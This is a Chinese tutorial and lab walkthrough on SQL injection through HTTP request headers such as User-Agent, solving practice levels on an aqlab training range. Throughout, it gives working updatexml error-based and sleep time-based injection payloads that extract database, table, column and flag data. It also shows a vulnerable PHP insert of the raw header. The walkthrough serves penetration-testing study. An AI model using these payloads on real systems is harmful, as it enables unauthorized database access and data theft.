渗透测试——HTTP头部注入

1.http头部注入

1.原理

一般获取头部的信息用于数据分析,但是通过请求头部也可以向数据库发送查询信息,通过构造恶意语句可以对数据库进行信息查询。
例一个网页的请求如下:

OST /Pass-07/index.php HTTP/1.1
Host: injectx1.lab.aqlab.cn:81
Content-Length: 56
Cache-Control: max-age=0
Origin: http://injectx1.lab.aqlab.cn:81
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent:' or updatexml(1,concat(0x7e,database(),0x7e),1),1)# Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://injectx1.lab.aqlab.cn:81/Pass-07/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

username=admin&password=123456&submit=%E7%99%BB%E5%BD%95

这里看起来很正常,但是看到HTTP协议的User-Agent头部为【’ or updatexml(1,concat(0x7e,database(),0x7e),1),1)# Mozilla/5.0 (Windows NT 10.0; Win64; x64)】,其中’ or updatexml(1,concat(0x7e,database(),0x7e),1),1)#是不正常的,可能是攻击者正在注入攻击。
这里的攻击是通过报错注入查询数据库名,从而对数据库的信息进行深度剖析。
其中’ or updatexml(1,concat(0x7e,database(),0x7e),1),1)#中的#号在数据库中作为注释符号,它的源代码如下:

$uagent = $_SERVER['HTTP_USER_AGENT'];
 INSERT INTO uagent (‘uagent’,‘username’) VALUES ('$uagent','$uname');

注入后产生的代码如下:

 INSERT INTO uagent (‘uagent’,‘username’) VALUES ('' or updatexml(1,concat(0x7e,database(),0x7e),1),1)#','$uname');

此时#号后面的都被注释掉了,通过制造报错信息,最后将查询的信息显示出来。

2.条件

能够对请求头消息进行修改,
修改的请求头信息能够带入数据库的查询
数据库没有对输入的请求信息做过滤

2.head头部注入实战

http://injectx1.lab.aqlab.cn:81/ 靶场的pass-08-10进行head头部注入,获得flag
环境:靶场

1.pass-08

1).开启代理模式,使用用户:admin;密码:123456进行登录,使用burp抓包

渗透测试——HTTP头部注入_第1张图片
2).使用’or sleep(5),1)#判断注入点;响应时间为5秒,确认注入点。
渗透测试——HTTP头部注入_第2张图片
渗透测试——HTTP头部注入_第3张图片
3).使用报错注入爆数据库名:head_error
参考文章:https://blog.csdn.net/zjdda/article/details/106243478
User-Agent:’ or updatexml(1,concat(0x7e,database(),0x7e),1),1)# Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
渗透测试——HTTP头部注入_第4张图片
4).爆表名:flag_head;ip;refer;uagent;user
User-Agent:’ or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘head_error’),0x7e),1),1)# Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130
渗透测试——HTTP头部注入_第5张图片
5).爆字段:Id;flag_h1
User-Agent:’ or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘head_error’ and table_name=‘flag_head’),0x7e),1),1)# Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130
渗透测试——HTTP头部注入_第6张图片
6).爆数据:1:zKaQ-YourHd;2:zKaQ-Refer;3:zK
User-Agent:’ or updatexml(1,concat(0x7e,(select group_concat(Id,0x3a,flag_h1) from head_error.flag_head),0x7e),1),1)# Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
渗透测试——HTTP头部注入_第7张图片

2.pass-09

1.和-08一样,进行抓包
2.使用’or sleep(5),1)#判断注入点;响应时间为5秒,确认注入点。
渗透测试——HTTP头部注入_第8张图片
3.确认注入点后开始和-8相同的命令进行注
爆库名:
渗透测试——HTTP头部注入_第9张图片
爆表名
渗透测试——HTTP头部注入_第10张图片
报字段
渗透测试——HTTP头部注入_第11张图片
报数据
渗透测试——HTTP头部注入_第12张图片

pass-10

与之前的一样,查看源码,然后判断注入点
渗透测试——HTTP头部注入_第13张图片
如下:因为以上的请求头部不存在,则手动添加进行测试(如果不能看源码,则一个个手动进行测试,添加请求头)
渗透测试——HTTP头部注入_第14张图片
渗透测试——HTTP头部注入_第15张图片
确定注入点,同0-8,0-9步骤开始注入

爆库:’ or updatexml(1,concat(0x7e,database(),0x7e),1),1)#
报表:’ or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘head_error’),0x7e),1),1)#
爆字段:’ or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘head_error’ and table_name=‘flag_head’),0x7e),1),1)#
爆数据:’ or updatexml(1,concat(0x7e,(select group_concat(Id,0x3a,flag_h1) from head_error.flag_head),0x7e),1),1)#

你可能感兴趣的:(SQL注入)